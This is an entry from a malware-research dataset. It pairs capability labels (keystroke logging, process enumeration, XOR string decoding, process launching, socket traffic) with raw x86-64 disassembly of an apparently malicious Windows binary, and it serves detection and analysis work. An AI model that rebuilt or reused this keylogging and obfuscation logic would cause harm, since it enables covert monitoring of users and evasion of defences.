joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140082e80
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xc20
mov edi, 8
mov ebx, ecx
test ecx, ecx
jne 0x140082f3c
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdi + rcx]
cmp dword [0x140273388], eax
jle 0x140082ef1
lea rcx, [0x140273388]
call fcn.1400c6f30
cmp dword [0x140273388], 0xffffffff
jne 0x140082ef1
lea rcx, [0x1401067c0]
mov dword [0x140272300], 0x4b404160
mov byte [0x140272304], 0x2e
call fcn.1400c72a0
lea rcx, [0x140273388]
call fcn.1400c6ec4
movzx eax, byte [0x140272304]
test al, al
je 0x140082f20
xor byte [0x140272300], 0x2e
xor byte [0x140272301], 0x2e
xor byte [0x140272302], 0x2e
xor byte [0x140272303], 0x2e
xor al, 0x2e
mov byte [0x140272304], al
mov r8d, 0x400
lea rdx, [0x140272300]
lea rcx, [rsp + 0x20]
call fcn.1400d1510
jmp 0x140083015
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x400
call fcn.140102230
xor edx, edx
lea rcx, [rsp + 0x420]
mov r8d, 0x800
call fcn.140102230
xor edx, edx
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
shl eax, 0x10
mov r8d, 0x400
mov ecx, eax
lea rdx, [rsp + 0x420]
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdi + rcx]
cmp dword [0x140271830], eax
jle 0x140082fd4
lea rcx, [0x140271830]
call fcn.1400c6f30
cmp dword [0x140271830], 0xffffffff
jne 0x140082fd4
lea rcx, [0x1401067b0]
mov dword [0x140271c54], 0x2e5d590b
call fcn.1400c72a0
lea rcx, [0x140271830]
call fcn.1400c6ec4
movzx eax, byte [0x140271c57]
test al, al
je 0x140082ffc
xor byte [0x140271c54], 0x2e
xor byte [0x140271c55], 0x2e
xor byte [0x140271c56], 0x2e
xor al, 0x2e
mov byte [0x140271c57], al
lea r8, [rsp + 0x420]
lea rdx, [0x140271c54]
lea rcx, [rsp + 0x20]
call fcn.14004d3d0
mov rbx, qword [rsp + 0xc30]
lea rax, [rsp + 0x20]
add rsp, 0xc20
pop rdi
ret

Function at 0x140083310
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x150
mov rsi, rcx
mov dword [rsp + 0x20], 0x130
mov ecx, 2
xor edx, edx
xor bl, bl
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14008339f
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14008339f
mov qword [rsp + 0x160], rbp
mov ebp, 1
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call fcn.1400e80cc
test eax, eax
movzx ebx, bl
lea rdx, [rsp + 0x20]
mov rcx, rdi
cmove ebx, ebp
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140083370
mov rbp, qword [rsp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x150]
movzx eax, bl
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400846d0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov r11, rsp
sub rsp, 0x98
cmp byte [0x14027125d], 0
je 0x1400848da
xorps xmm0, xmm0
mov dword [rsp + 0x20], reloc.WS2_32.dll_WSASetLastError
xor eax, eax
mov qword [r11 - 8], rbx
movups xmmword [rsp + 0x24], xmm0
mov ebx, 8
movups xmmword [rsp + 0x34], xmm0
movups xmmword [rsp + 0x44], xmm0
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
mov qword [r11 - 0x14], rax
mov dword [r11 - 0xc], eax
mov rax, qword gs:[0x58]
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x14027295c], eax
jle 0x140084779
lea rcx, [0x14027295c]
call fcn.1400c6f30
cmp dword [0x14027295c], 0xffffffff
jne 0x140084779
lea rcx, [0x140106880]
mov dword [0x140271f74], 0x4f405b5c
mov word [0x140271f78], 0x2e5d
call fcn.1400c72a0
lea rcx, [0x14027295c]
call fcn.1400c6ec4
movzx eax, byte [0x140271f79]
test al, al
je 0x1400847af
xor byte [0x140271f74], 0x2e
xor byte [0x140271f75], 0x2e
xor byte [0x140271f76], 0x2e
xor byte [0x140271f77], 0x2e
xor byte [0x140271f78], 0x2e
xor al, 0x2e
mov byte [0x140271f79], al
lea rax, [0x140271f74]
mov qword [rsp + 0x30], rax
mov eax, dword [rbx]
cmp dword [0x14027182c], eax
mov rbx, qword [rsp + 0x90]
jle 0x140084804
lea rcx, [0x14027182c]
call fcn.1400c6f30
cmp dword [0x14027182c], 0xffffffff
jne 0x140084804
lea rcx, [0x140106870]
mov dword [0x1402722fc], 0x2e4a434d
call fcn.1400c72a0
lea rcx, [0x14027182c]
call fcn.1400c6ec4
movzx eax, byte [0x1402722ff]
test al, al
je 0x14008482c
xor byte [0x1402722fc], 0x2e
xor byte [0x1402722fd], 0x2e
xor byte [0x1402722fe], 0x2e
xor al, 0x2e
mov byte [0x1402722ff], al
lea rax, [0x1402722fc]
mov qword [rsp + 0x38], rax
call fcn.1400848f0
mov rdx, rax
cmp byte [rax + 0x99], 0
je 0x1400848bf
movdqa xmm2, xmmword [0x140137b00]
lea rcx, [rax + 0x20]
mov eax, 2
nop word [rax + rax]
movdqu xmm0, xmmword [rcx - 0x20]
lea rcx, [rcx + 0x40]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x60], xmm1
movdqu xmm0, xmmword [rcx - 0x50]
xorps xmm0, xmm2
movdqu xmmword [rcx - 0x50], xmm0
movdqu xmm1, xmmword [rcx - 0x40]
xorps xmm1, xmm2
movdqu xmmword [rcx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x30], xmm1
sub rax, 1
jne 0x140084860
lea rax, [rdx + 0x80]
mov ecx, 0x1a
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400848b2
xor eax, eax
mov qword [rsp + 0x40], rdx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x50], eax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
xor eax, eax
add rsp, 0x98
ret
Function at 0x140084b20
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x29], xmm1
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x140084b50
mov rdx, rcx
lea rcx, [rbp - 0x39]
call fcn.14008a990
nop
mov ebx, 8
mov rax, qword gs:[0x58]
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x140272534], eax
jle 0x140084bb9
lea rcx, [0x140272534]
call fcn.1400c6f30
cmp dword [0x140272534], 0xffffffff
jne 0x140084bb9
mov dword [0x14027372c], 0x2e0e6d01
lea rcx, [0x1401068b0]
call fcn.1400c72a0
lea rcx, [0x140272534]
call fcn.1400c6ec4
movzx eax, byte [0x14027372f]
test al, al
je 0x140084be1
xor byte [0x14027372c], 0x2e
xor byte [0x14027372d], 0x2e
xor byte [0x14027372e], 0x2e
xor al, 0x2e
mov byte [0x14027372f], al
lea r8, [0x14027372c]
lea rcx, [rbp - 0x39]
call fcn.1400877f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
movups xmmword [rbp + 0x47], xmm0
mov dword [rbp - 0x19], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp - 0x15], 0x40
xor edi, edi
mov qword [rbp - 0x11], rdi
mov qword [rbp - 9], rdi
mov eax, dword [rbx]
cmp dword [0x140272228], eax
jle 0x140084c73
lea rcx, [0x140272228]
call fcn.1400c6f30
cmp dword [0x140272228], 0xffffffff
jne 0x140084c73
mov dword [0x140272858], 0x4a434d
mov dword [0x14027285c], 0x2e4b564b
lea rcx, [0x1401068a0]
call fcn.1400c72a0
lea rcx, [0x140272228]
call fcn.1400c6ec4
movzx eax, byte [0x14027285f]
test al, al
je 0x140084cb7
xor byte [0x140272858], 0x2e
xor byte [0x140272859], 0x2e
xor byte [0x14027285a], 0x2e
xor byte [0x14027285b], 0x2e
xor byte [0x14027285c], 0x2e
xor byte [0x14027285d], 0x2e
xor byte [0x14027285e], 0x2e
xor al, 0x2e
mov byte [0x14027285f], al
lea rax, [0x140272858]
mov qword [rbp - 1], rax
lea rax, [rbp - 0x39]
cmp qword [rbp - 0x21], 0xf
cmova rax, qword [rbp - 0x39]
mov qword [rbp + 7], rax
mov qword [rbp + 0xf], rdi
mov dword [rbp + 0x17], edi
mov qword [rbp + 0x1f], rdi
lea rcx, [rbp - 0x19]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
nop
mov rdx, qword [rbp - 0x21]
cmp rdx, 0xf
jbe 0x140084d21
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084d1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140084d38
call fcn.1400c72b8
xor eax, eax
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.1400e16e0
int3

Function at 0x140084d40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x39], 0
je 0x140084d7e
movdqa xmm2, xmmword [0x140137b00]
xor eax, eax
movdqu xmm0, xmmword [rcx + rax]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx + rax], xmm1
add rax, 0x10
cmp rax, 0x30
jb 0x140084d50
cmp rax, 0x3a
jae 0x140084d7e
xor byte [rcx + rax], 0x2e
inc rax
cmp rax, 0x3a
jb 0x140084d71
mov rax, rcx
ret
Function at 0x140085780
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x20
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x1400857a4
xor eax, eax
add rsp, 0x20
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rdi
je 0x140085832
mov rdi, r15
mov qword [rsp + 0x40], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140085800
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x140085800
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.140101b90
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14008581d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140085825
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x1400857c1
mov rbp, qword [rsp + 0x40]
sub r15, rdi
jmp 0x140085910
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x140085849
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14008584b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14008587d
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.140101b90
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14008590d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400858b8
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x1400858ee
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.1400d81dc
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x14008590d
cmp rsi, rax
ja 0x1400858c1
test rsi, rsi
je 0x14008590d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400d81dc
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x48]
mov rax, r15
mov rdi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rbx
ret

Function at 0x140086ef0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x60], 0
mov rdx, rcx
je 0x140086f4d
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, 0x21
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x140086f40
mov rax, rdx
ret
Function at 0x140086f60
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x77], 0
mov rdx, rcx
je 0x140086fbd
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, 0x38
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x140086fb0
mov rax, rdx
ret

Function at 0x140086fd0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x71], 0
mov rdx, rcx
je 0x14008702d
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, 0x32
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x140087020
mov rax, rdx
ret

Function at 0x140087040
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x6e], 0
mov rdx, rcx
je 0x14008709d
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, 0x2f
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x140087090
mov rax, rdx
ret

Function at 0x1400870b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x53], 0
mov rdx, rcx
je 0x14008710d
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, setsockopt
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x140087100
mov rax, rdx
ret

Function at 0x140087120
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x80], 0
je 0x140087189
movdqa xmm2, xmmword [0x140137b00]
lea rax, [rcx + 0x20]
mov edx, 2
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
movdqa xmm1, xmm2
xorps xmm0, xmm2
movdqu xmmword [rax - 0x60], xmm0
movdqu xmm0, xmmword [rax - 0x50]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax - 0x40]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
sub rdx, 1
jne 0x140087140
xor byte [rcx + 0x80], 0x2e
mov rax, rcx
ret
Function at 0x140087190
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x4a], 0
mov rdx, rcx
je 0x1400871ed
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, ntohs
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400871e0
mov rax, rdx
ret

Function at 0x140087200
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x48], 0
mov rdx, rcx
je 0x14008725d
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, 9
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x140087250
mov rax, rdx
ret

Function at 0x140087270
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x6a], 0
mov rdx, rcx
je 0x1400872cd
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, 0x2b
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400872c0
mov rax, rdx
ret

Function at 0x1400872e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x68], 0
mov rdx, rcx
je 0x14008733d
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, 0x29
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x140087330
mov rax, rdx
ret

Function at 0x140087350
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x6c], 0
mov rdx, rcx
je 0x1400873ad
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, 0x2d
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400873a0
mov rax, rdx
ret
Function at 0x1400873c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x7c], 0
mov rdx, rcx
je 0x14008741d
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x40]
movdqa xmm2, xmmword [0x140137b00]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x30], xmm0
mov ecx, 0x3d
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x140087410
mov rax, rdx
ret

Function at 0x140087430
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x23], 0
je 0x14008746e
movdqa xmm2, xmmword [0x140137b00]
xor eax, eax
movdqu xmm0, xmmword [rcx + rax]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx + rax], xmm1
add rax, 0x10
cmp rax, 0x20
jb 0x140087440
cmp rax, 0x24
jae 0x14008746e
xor byte [rcx + rax], 0x2e
inc rax
cmp rax, 0x24
jb 0x140087461
mov rax, rcx
ret

Function at 0x140087480
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x16], 0
mov rdx, rcx
je 0x1400874bd
movdqu xmm0, xmmword [rcx]
lea rax, [rcx + 0x10]
movdqa xmm1, xmmword [0x140137b00]
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
mov ecx, 7
nop word [rax + rax]
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400874b0
mov rax, rdx
ret

Function at 0x1400874d0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xd], 0
mov rax, rcx
je 0x1400874f0
mov edx, ntohs
nop
xor byte [rax], 0x2e
lea rax, [rax + 1]
sub rdx, 1
jne 0x1400874e0
mov rax, rcx
ret
Function at 0x140096280
Capabilities:
Convert ip address from string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x88
mov rax, qword [0x14014b540]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov r13, qword [rcx]
mov ebp, r8d
mov rsi, rcx
lea r8, [rsp + 0x20]
mov ebx, 2
xor r14d, r14d
mov ecx, ebx
mov r15, r9
mov r12, qword [r13 + 0x11a0]
mov rdi, rdx
mov dword [r9], r14d
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x1400962ec
mov r9d, ebp
lea rdx, [rsp + 0x20]
mov r8, rdi
mov ecx, ebx
call fcn.1400b22c0
jmp 0x1400963ca
mov ebx, reloc.WS2_32.dll_socket
lea r8, [rsp + 0x58]
mov ecx, ebx
mov rdx, rdi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x14009631c
mov r9d, ebp
lea rdx, [rsp + 0x58]
mov r8, rdi
mov ecx, ebx
call fcn.1400b22c0
jmp 0x1400963ca
mov ecx, dword [rsi + 0x440]
sub ecx, 1
je 0x140096340
cmp ecx, 1
je 0x14009632f
mov ebx, r14d
call fcn.140096ca0
test al, al
mov eax, 2
cmove ebx, eax
jmp 0x140096345
mov ebx, 2
cmp dword [rsi + 0xbc], 3
lea r8, [0x140126788]
xorps xmm0, xmm0
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x28], xmm0
setne r14b
mov dword [rsp + 0x2c], ebx
inc r14d
mov r9d, ebp
mov edx, ntohs
mov dword [rsp + 0x30], r14d
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
call fcn.1400b0470
lea rcx, [rsp + 0x58]
call fcn.1400a7e10
lea r9, [rsp + 0x28]
mov r8d, ebp
mov rdx, rdi
mov rcx, rsi
movups xmm0, xmmword [rax]
movups xmmword [r12], xmm0
call fcn.140096990
test al, al
je 0x1400963b9
mov dword [r15], 1
jmp 0x1400963c8
lea rdx, str.getaddrinfo___thread_failed_to_start_n
mov rcx, r13
call fcn.1400a09d0
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400c76a0
add rsp, 0x88
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
jmp 0x140096280
Function at 0x1400a0d50
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x1400a0d8b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x38
mov edx, 0x51
cmp eax, 0x2733
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1400a0f20
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb8
mov rax, qword [0x14014b540]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov r14, qword [rsp + 0x120]
mov rsi, rcx
movsxd rcx, edx
xor r13d, r13d
mov r12, r9
mov r15, r8
mov rax, qword [rsi + 0x430]
mov rbp, qword [rsi + rcx*8 + 0x258]
lea rbx, [rcx + 0x15]
shl rbx, 5
add rbx, rsi
mov rdi, qword [rbx + 8]
sub rdi, qword [rbx + 0x10]
test byte [rax + 0x7c], 3
je 0x1400a1021
lea rax, [0x1400a0dd0]
cmp qword [rsi + rcx*8 + 0x280], rax
jne 0x1400a1021
cmp qword [rbx], r13
je 0x1400a0fa8
test rdi, rdi
je 0x1400a1021
mov rdx, 0xffffffffffffffff
xor r9d, r9d
mov r8, rdx
mov rcx, rbp
call fcn.1400a3d20
cmp eax, 0xffffffff
je 0x1400a1021
test al, 1
je 0x1400a1021
mov rax, qword [rbx]
test rax, rax
jne 0x1400a0ffa
mov rax, qword [rsi]
mov ecx, dword [rax + 0xb68]
add ecx, ecx
movsxd rcx, ecx
mov qword [rbx + 8], rcx
call qword [section..data]
mov rdi, qword [rbx + 8]
mov qword [rbx], rax
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
test rax, rax
je 0x1400a101d
mov rdx, qword [rbx + 0x10]
xor r9d, r9d
add rdx, rax
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x1400a1021
add qword [rbx + 0x10], rcx
jmp 0x1400a1021
mov qword [rbx + 8], r13
xor r9d, r9d
